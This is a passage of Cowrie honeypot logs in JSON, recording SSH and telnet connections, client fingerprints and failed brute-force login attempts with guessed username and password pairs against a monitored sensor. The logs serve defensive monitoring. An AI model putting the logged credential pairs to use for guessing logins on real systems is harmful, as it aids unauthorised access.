-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:32.985277Z","src_ip":"45.156.87.253","session":"f4238f93def4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:33.227674Z","src_ip":"45.156.87.253","session":"f4238f93def4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.757850885391235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:34.100131Z","src_ip":"115.160.92.142","session":"9451c87c5dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":41024,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa2f331d8fa","protocol":"telnet","message":"New connection: 115.160.92.142:41024 (159.203.135.109:23) [session: 6fa2f331d8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:34.303346Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:34.310568Z","src_ip":"45.156.87.253","session":"f4238f93def4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":44990,"dst_ip":"159.203.135.109","dst_port":22,"session":"67e6a406e5f5","protocol":"ssh","message":"New connection: 143.20.185.207:44990 (159.203.135.109:22) [session: 67e6a406e5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:34.461388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:34.465023Z","src_ip":"143.20.185.207","session":"67e6a406e5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:34.578085Z","src_ip":"143.20.185.207","session":"67e6a406e5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZENNIXKY#8VCPU32GBAMD","message":"login attempt [root/ZENNIXKY#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:34.947058Z","src_ip":"143.20.185.207","session":"67e6a406e5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xcc\\xd1\\xd1\\xca\\x8f\\x8c\\x8d'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xcc\\xd1\\xd1\\xca\\x8f\\x8c\\x8d'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:35.229156Z","src_ip":"115.160.92.142","session":"6fa2f331d8fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:36.062566Z","src_ip":"143.20.185.207","session":"67e6a406e5f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44336,"dst_ip":"10.17.0.5","dst_port":22,"session":"fefd8b40d5fc","protocol":"ssh","message":"New connection: 45.156.87.253:44336 (10.17.0.5:22) [session: fefd8b40d5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:36.174373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:36.177387Z","src_ip":"45.156.87.253","session":"fefd8b40d5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:36.256782Z","src_ip":"45.156.87.253","session":"fefd8b40d5fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:36.503141Z","src_ip":"45.156.87.253","session":"fefd8b40d5fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:36.741307Z","src_ip":"115.160.92.142","session":"6fa2f331d8fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":51394,"dst_ip":"10.17.0.5","dst_port":22,"session":"66fcd195832b","protocol":"ssh","message":"New connection: 91.92.40.11:51394 (10.17.0.5:22) [session: 66fcd195832b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:37.036848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:37.168872Z","src_ip":"91.92.40.11","session":"66fcd195832b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:37.172226Z","src_ip":"91.92.40.11","session":"66fcd195832b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:37.601424Z","src_ip":"45.156.87.253","session":"fefd8b40d5fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:37.669232Z","src_ip":"115.160.92.142","session":"6fa2f331d8fa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin","message":"login attempt [administrator/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:38.119298Z","src_ip":"91.92.40.11","session":"66fcd195832b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:39.356989Z","src_ip":"91.92.40.11","session":"66fcd195832b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59032,"dst_ip":"10.17.0.5","dst_port":22,"session":"414fc831ad4b","protocol":"ssh","message":"New connection: 45.156.87.253:59032 (10.17.0.5:22) [session: 414fc831ad4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:39.478068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:39.485937Z","src_ip":"45.156.87.253","session":"414fc831ad4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:39.668388Z","src_ip":"45.156.87.253","session":"414fc831ad4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"111111","message":"login attempt [dev/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:39.911888Z","src_ip":"45.156.87.253","session":"414fc831ad4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:40.994645Z","src_ip":"45.156.87.253","session":"414fc831ad4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59048,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fb508cc938c","protocol":"ssh","message":"New connection: 45.156.87.253:59048 (10.17.0.5:22) [session: 9fb508cc938c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:42.964650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:42.967557Z","src_ip":"45.156.87.253","session":"9fb508cc938c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:43.047176Z","src_ip":"45.156.87.253","session":"9fb508cc938c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1qaz2wsx","message":"login attempt [node/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:43.289731Z","src_ip":"45.156.87.253","session":"9fb508cc938c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":52414,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c9569609adc","protocol":"ssh","message":"New connection: 195.178.110.137:52414 (10.17.0.5:22) [session: 4c9569609adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:43.879535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:43.884933Z","src_ip":"195.178.110.137","session":"4c9569609adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:43.968894Z","src_ip":"195.178.110.137","session":"4c9569609adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":41206,"dst_ip":"10.17.0.5","dst_port":23,"session":"68894e9e7465","protocol":"telnet","message":"New connection: 72.167.226.244:41206 (10.17.0.5:23) [session: 68894e9e7465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:44.220565Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:44.229515Z","src_ip":"195.178.110.137","session":"4c9569609adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:44.372277Z","src_ip":"45.156.87.253","session":"9fb508cc938c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:45.314271Z","src_ip":"195.178.110.137","session":"4c9569609adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59058,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae63fe9fcc8","protocol":"ssh","message":"New connection: 45.156.87.253:59058 (10.17.0.5:22) [session: 3ae63fe9fcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:46.358297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:46.361401Z","src_ip":"45.156.87.253","session":"3ae63fe9fcc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:46.442252Z","src_ip":"45.156.87.253","session":"3ae63fe9fcc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:46.690658Z","src_ip":"45.156.87.253","session":"3ae63fe9fcc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:47.774715Z","src_ip":"45.156.87.253","session":"3ae63fe9fcc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49986,"dst_ip":"10.17.0.5","dst_port":22,"session":"e935d5bcae20","protocol":"ssh","message":"New connection: 45.156.87.253:49986 (10.17.0.5:22) [session: e935d5bcae20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:49.929827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:49.933208Z","src_ip":"45.156.87.253","session":"e935d5bcae20","protocol":"ssh"}
